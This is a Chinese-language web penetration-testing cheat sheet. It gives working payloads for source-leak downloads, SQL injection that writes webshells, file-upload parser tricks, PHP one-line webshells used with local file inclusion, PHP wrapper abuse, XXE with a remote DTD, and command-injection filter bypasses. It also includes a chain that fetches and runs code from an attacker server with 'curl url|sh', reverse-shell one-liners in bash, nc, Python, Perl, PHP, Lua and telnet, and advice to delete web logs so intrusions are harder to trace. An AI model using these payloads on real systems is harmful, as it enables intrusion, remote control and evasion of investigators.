漏洞:通常情况下不影响软件的正常功能,但如果被攻击者利用,有可能驱使软件去执行一些额外的恶意代码,从而引发严重的后果。最常见的漏洞有缓冲区溢出漏洞、整数溢出漏洞、指针覆盖漏洞等。
传统WEB查找利用阶段
1.敏感目录文件扫描
1.查找目标各类web入口
普通网站后台,其他web控制台,碰到任何入口的第一反应就是顺手测试弱口令如果没有结果记录下来可以进行爆破,没有验证码的可以尝试爆破。限制登陆次数尝试伪造IP绕过。
2.各类敏感文件泄露
版本管理软件造成的泄露
.git/git 利用工具:GitHack 手动利用:
1 | wget -r --no-parent --mirror http://www.example.com/.git |
.hg/Mercurial 可以利用工具:dvcs-ripper 也可以手动利用(下载+回滚):
1 | wget -r --no-parent --mirror http://www.example.com/.hg |
.svn/Subversion 可以利用工具:dvcs-ripper 也可以手动利用(下载+回滚):
1 | wget -r --no-parent --mirror http://www.example.com/.svn |
.bzr/Bazaar 可以利用工具:dvcs-ripper 也可以手动利用(下载+回滚):
1 | wget -r --no-parent --mirror http://www.example.com/.bzr |
CVS 可以利用工具:dvcs-ripper 也可以手动利用(下载+回滚):
1 | wget -r --no-parent --mirror http://www.example.com/CVS |
文件包含导致的泄露
.DS_Store文件泄露 (Desktop Services Store)
是macOS目录下的隐藏文件, 包含了当前目录结构和一些的自定义信息,如背景和图标位置等, 在windows下类似的文件为desktop.ini. 暴露了.DS_Store文件也就相当于暴露了该目录下的所有内容.
利用工具:ds_store_exp
WEB-INF泄露
在Java的Servlet 文档中,说到WEB-INF
目录”包含了所有web应用会用到但是不处于web路径中的资源”, 也就是说, WEB-INF目录下的内容是不属于公开页面的.
web应用可以通过getResource
等API在servlet的上下文中访问到这些资源.
通常开发者会把许多JSP文件,Jar包,Java的类文件放在该目录下. 一般目录的内容都是可以预测的:
1 | WEB-INF/web.xml : Web应用程序配置文件, 描述了servlet和其他的应用组件配置及命名规则. |
利用方式:通过web.xml文件推测应用组件相关类的名字, 然后在src目录下查找代码, 如果没有源代码可以直接下载class文件反编译即可.
备份文件泄露
备份文件泄露又分为两种情况, 一种是运维人员偷懒地直接在网站根目录用类似tar -czvf bakup.tgz
的命令将网站进行备份,这样整站的源代码都能直接被用户打包下载了;
另一种是开发或者运维人员使用的编辑器修改文件时自动备份了所编辑的网页内容,
如vim的.swp
, 从而泄露了该网页的源代码.
利用方法:对于打包文件而言, 渗透测试人员可以用{常用文件名}+{常用压缩包后缀}的方式扫描网站, 说不定会有意外惊喜.
对于网页的临时备份文件, 可以扫描对应页面的.swp或者.bak等后缀, 说不定也能找到有用的信息.
配置文件泄露
现代WEB开发往往不会重新造轮子, 而是基于成熟的框架进行配置, 如果渗透测试人员知道该网站是基于什么类型的框架,
就可能通过该框架的文档获得重要配置文件的路径, 如果是开源框架, 同时也能获得源代码, 因此配置文件泄露的严重性也是不言而喻的.
利用方法:通过识别网站指纹得知其框架类型, 然后手工测试重要的配置文件是否可以获取. 如果是批量测试, 则可以事先准备好常见的配置文件路径, 如wordpress的/wp-config.php等, 组织成字典然后用脚本进行批量测试. 可以参考猪猪侠的字典.
配置错误导致的泄露
Windows IIS / Apache 目录穿越
目录穿越漏洞原理比较简单, 程序在实现上没有充分过滤用户输入的../之类的目录跳转符, 导致恶意用户可以访问web根目录的上级从而遍历服务器上的任意文件.
Nginx配置安全
1 | location /file { |
例如这样配置 访问 url/file 会正常显示服务器上/home的文件,但是访问url/file../ 就会出现 /home/../访问到服务器的根目录造成目录穿越
2.SQL注入
首先确认数据库的用户权限
1.可以注入的一些部分
GET注入在url中
在POST注入
在HTTP头部注入 例如:cookie Referer user-agent X-Forwarded-For 等等
二次注入,宽字节注入,ajax/json注入,nosql注入,用来对付为静态的中转注入 等等
2.管理员权限
尝试直接写webshell:
日志写
1 | 1.show variables like ‘%general%'; #查看配置 |
正常sql写
1 | 通过SQL注入select into outfile实现,如: |
sqlmap写shell
1 | --os-cmd="net user" |
本地写入webshell
1 | 先在sqlmap的目录创建mst目录,然后在该目录中创建mst.txt,内容为一句话木马,之后需要两个参数即本地文件地址和目标文件地址,--file-write "./mst/mst.txt" --file-dest "网站的绝对路径/melon.php"。 |
尝试执行系统命令
反弹shell,cmd
尝试读取数据库配置文件中的账号密码
3.普通数据库权限
查询网站管理账号密码,搜集会员账号密码数据,尝试万能密码bypass登陆 等等
3.上传
1.各个web中间件解析漏洞
IIS 5.x-6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
目录解析(6.0)
案例:www.xxx.com/xx.asp/xx.jpg
原理:服务器默认会把.asp,.asa目录下的文件全部解析乘asp文件
文件解析
案例:www.xxx.com/xx.asp;,jpg
原理:服务默认不解析分号之后的内容,因此xx.asp;,jpg
便被解析成了asp文件
解析文件类型
IIS6.0默认的可执行文件除了asp还包含这三种:
1 | /xxx.asa /xxx.cer /xxx.cdx |
Apache解析漏洞
案例:www.xxx.com/xxx.php.aaa.rar
原理:Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 xxx.php.aaa.rar “.aaa”和”.rar” 这两种后缀是Apache不可识别解析,Apache就会把xxx.php.aaa.rar解析成php。
CVE-2017-15715
罕见后缀
1 | root@xxx:~$ cat /etc/mime.types | grep php |
Nginx解析漏洞
原理:Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/test.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/test.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而test.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
案例:
1 | www.xxxx.com/UploadFiles/image/melon.jpg/melon.php |
2.bypass 上传检测
黑名单,白名单可配合解析漏洞,截断,.htaccess,配合本地包含一起利用。
补:截断:%00
3.各类编辑器利用
FCKeditor编辑器,EWEbeditor,CKFinder,南方数据编辑器southidceditor,UEDITOE,DotNetTextBox,PHPWEB网站管理系统后台Kedit编辑器,Cute Editor 在线编辑器本地包含漏洞 等等
4.未授权访问
前端验证绕过,直接访问[ajax],验证有死角没有验证全部页面 等等
5.文件包含
本地包含(LFI),远程包含(RFI),远程文件包含需要在php.ini中开启 allow_url_fopen=on、allow_url_include=on(默认是关闭的 )。
文件包含的本质其实和C语言中预处理指令一样。那么这句话等价替换就是 <?php <?php phpinfo()?> ?>
其实不然,如果替换成这样,后面的?>会被页面打印出来,正确的是它是将文件中<?php ?>
去除,将剩余的内容进行替换,那这样的话再利用的时候不用考虑文件包含的文件类型是什么,只需要考虑文件之中是否有我们所需要的一句话木马就可以了。
涉及的函数:
1 | include() |
测试:
melon.txt代码为 <?php eval($_REQUEST['melon']);?>
melon.php代码为 <?php include($_REQUEST['file']);?>
利用:www.xxx.com/melon.php?file=melon.txt&melon=system('ls');
防止混淆:目录遍历:如果没有文件包含漏洞,仅仅通过在url栏中操作,不论你如何../../../回退,都无法跳出服务器的公开目录,也是就说,你只能请求公开目录中的文件。但是如果有文件包含漏洞,那么我们可以通过传参,../../../../../一直退到服务器的根目录,从而能够目录遍历,即访问服务器上任何一个文件夹中的任何一个文件,不论这个目录是公开目录还是非公开目录。
利用本地包含配合数据库获取shell的一种思路:
数据库储存表会将表存在相应的文件中。也就说假如我们将某个表的某个字段名,命名为<?php eval($_GET['melon']);?>
,那么这句话就会被写入到对应的.frm文件中去。
在本地创建melon.php文件代码为 <?php include($_REQUEST['file']);?>
创建数据库->创建表->创建字段为<?php eval($_GET['melon']);?>
图中可以明确的看出一句话已经写进了文件了这时候只需要利用即可
http://www.xxx.com/melon.php?file=../../../../../../../phpStudy/PHPTutorial/MySQL/data/melon/test.frm&melon=phpinfo();
还有一个问题就是获取数据库的路径如果没有这一点我们是无法知道frm的位置的,如果有sql注入我们可以通过SELECT @@datadir
来获取data文件夹绝对路径然后拼接上我们的 数据库名/表名.frm 就可以了。
利用本地包含配合Apache获取shell的一种思路:
使用burp对目标站抓包 修改User-Agent: <?php include($_REQUEST['file']);?>
此时查看Apache日志:
利用:http://url/file.php?file=/var/log/apache2/access.log?melon=phpinfo();
利用本地包含配合ssh获取shell的思路
首先ssh的登陆日志放在了/var/log/auth.log
中
我们让用户名等于php一句话<?php @eval($_GET('melon'));?>
然后查看ssh的日志 利用包含实现getshell
php伪协议
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
1 | php://filter在双off的情况下也可以正常使用; |
http://url/file.php?file=php://filter/read=convert.base64-encode/resource=./file.php
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
1 | allow_url_fopen :off/on |
http://localhost:8888/file.php?file=php://input
同时POST <?php phpinfo();?>
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
1 | zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用; |
zip:// 协议
使用方法:zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
在get请求中#会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
http://127.0.0.1:8888/file.php?file=zip://D:/PHPstudy/PHPTutorial/WWW/CRMEB-master/melon.zip%23file.txt
bzip2:// 协议
使用方法:http://127.0.0.1:8888/file.php?file=compress.bzip2://./melon.bz2
zlib:// 协议
使用方法:http://127.0.0.1:8888/file.php?file=compress.zlib://./melon.gz
data://协议
经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件
1 | data://协议必须双在on才能正常使用; |
使用方法:
1 | http://127.0.0.1:8888/file.php?file=data://text/plain,<?php phpinfo()?> |
6.任意文件读取
XXE(有回显)
PHP代码:
1 | xxe.php文件 |
对xxe.php发起请求 POST中发送xml数据
1 | //因为本地测试用的是windows 所以就读取system.ini为例 |
可以看到响应头获取到了文件的数据
XXE(无回显)
PHP代码:
1 | xxes.php文件 |
对xxe.php发起请求 POST中发送xml数据
1 | //因为本地测试用的是windows 所以就读取system.ini为例 |
远端服务器存放的dtd代码:
1 | <?xml version="1.0" encoding="UTF-8"?> |
此时xml是执行的但是没有回显出来,我们看一下服务器端。
服务器端采用的nc监听端口
我们来说一下外部调用实体化的流程:
1 | //localhost为本地服务器 melon为远端服务器 |
7.任意文件下载
漏洞形成过程
首先漏洞源码如下:
1 | //FileAcquisition.php |
跨目录下载:
说一下敏感文件:
1 | //Windows下 |
漏洞挖掘:
可以用Google hack:inurl:"file.php?file=" inurl : readfile.php?file= inurl : download.php?file=
观察页面是否实现这种功能:
1 | download.php?path= |
观察链接参数名路径名:
1 | &RealPath= &FilePath= &filepath= &Filepath= &Path= &path= &inputFile= &Inputfile= &url= &urls= &Lang= &dis= &data= &Data= &readfile= &filep= &src= &menu= |
Linux下一种思路:在linux中有这样一个命令 locate 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库/var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。可以算是一个杀器吧。
8.远程代码或系统命令执行(RCE)
首先我们了解一下命令拼接符:
1 | && 第一个命令执行成功才会执行第二个命令否则不能继续执行 |
这里我们以DVWA为例代码如下:
1 |
|
空格绕过
Linux不能使用空格时的一些绕过 例:
1 | echo$IFS"<?php system($_GET[x]);?>">shell.php |
1 | {echo,'Melon'}>test.php |
黑名单拼接绕过
a=l;b=s;$a$b
黑名单编码绕过
1 | base64: |
长度限制绕过
1 | 需要用的知识点: |
测试在文本里内容如下:
1 | //melon.txt 真实的话文件名要改成 a 因为是绕长度限制 |
执行:sh melon.txt
那怎样将内容输出到文本当中就是我们需要做的事
下面是我们的解决方案:
1 | > "rld" |
第一行显示找不到因为先创建 _ 文件再进行输出到_文件里。
这里使用了两个 \ 是因为我们需要转义掉多行命令的换行,如果我们只使用一个 \ 那么就会被误解为正在多行执行命令
这方面也有对应的CTF题目 源码如下:
1 |
|
哪可不可以利用这种方法反弹shell呢?当然是可以的具体操作如下:
1 | bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1 //标准的反弹shell命令 |
这个时候我们遇到了两个个问题
其一:ls -t>_
也就是当我们吧文件全部创建好按时间将文件名输入到a文件中时发现我们的命令是七个字符我们需要一个先把这条命令写出来才行
其二:执行命令需要空格 但是我们需要两个空格 相同的文件怎么可以创建两个呢 这时候可以用 curl url|sh
的方式 只需要再服务器上构建好payload就可以了
1 | 解决问题一 |
1 | 我们需要sh m 其中 m 中包含了 curl xx.xx.xx.xxx|sh |
构造payload:
1 | >bash |
利用:这时我们用”_”文件生成”y”文件 用y文件查看服务器反弹shell命令通过管道符执行命令 成功反弹shell
内联执行
命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。
例如:
1 | echo "a`pwd`" |
通配符
[…]表示匹配方括号之中的任意一个字符。
比如
[aeiou]可以匹配五个元音字母,
[a-z]`匹配任意小写字母。
{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
{...}
与[...]
有一个很重要的区别。如果匹配的文件不存在,[...]
会失去模式的功能,变成一个单纯的字符串,而{...}
依然可以展开。
测试如下:
反弹shell
bash方式
1 | $ bash -c "sh >& /dev/tcp/your ip/port 0>&1" |
exec方式
1 | $ exec 5<>/dev/tcp/ip/port |
nc方式
1 | 本机运行: |
python方式
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
1 | python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('ip',port))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")" |
Perl
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
PHP
1 | php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");' |
Lua
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
crontab
1 | crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是 /var/spool/cron/ 目录,ubuntu是 |
telnet
1 | mknod backpipe p && telnet ip port 0<backpipe | /bin/bash 1>backpipe |
linux中直接查看文件内容的工具
cat、tac、more、less、head、tail、nl、sed、sort、uniq
9.其他的一些注入问题
soap注入 邮件头注入 ldap注入 xpath注入 xml实体注入
10.手工分析HTTP请求
Burpsuite Fiddler Wireshark Tcpdump
11.防护不严格的情况下直接用漏扫
Burp WebcruiserWVS Awvs Netsparker Appcsan Owasp_zap Vega Nessus Openvas Nmap的漏洞检测脚本 Wpscan
关于WAF对抗
Bypass waf分布式扫描 Bypass waf进行注入 Bypass waf进行上传 Bypass waf脚本执行代码 Webshell免杀 Webshell 隐藏
各类WEB访问日志的处理 对于WEB日志,直接删掉,主要是带有敏感特征请求的删掉,加大溯源难度。
提权
1.提权信息收集
1.当前机器具体跑了哪些我们可与i直接利用到的服务端口
2.尽可能找到目标机的所有账号密码:数据库 VPN FTP 其他第三方工具各种密码hash或明文。
3.当前系统装的什么杀软,防护套装是什么,有什么样的限制策略。
4.装了哪些可以利用的第三方工具
5.特殊权限的查找入suid
2.溢出exp
win linux exp免杀
3.各类数据库提权
mysql mssql oracle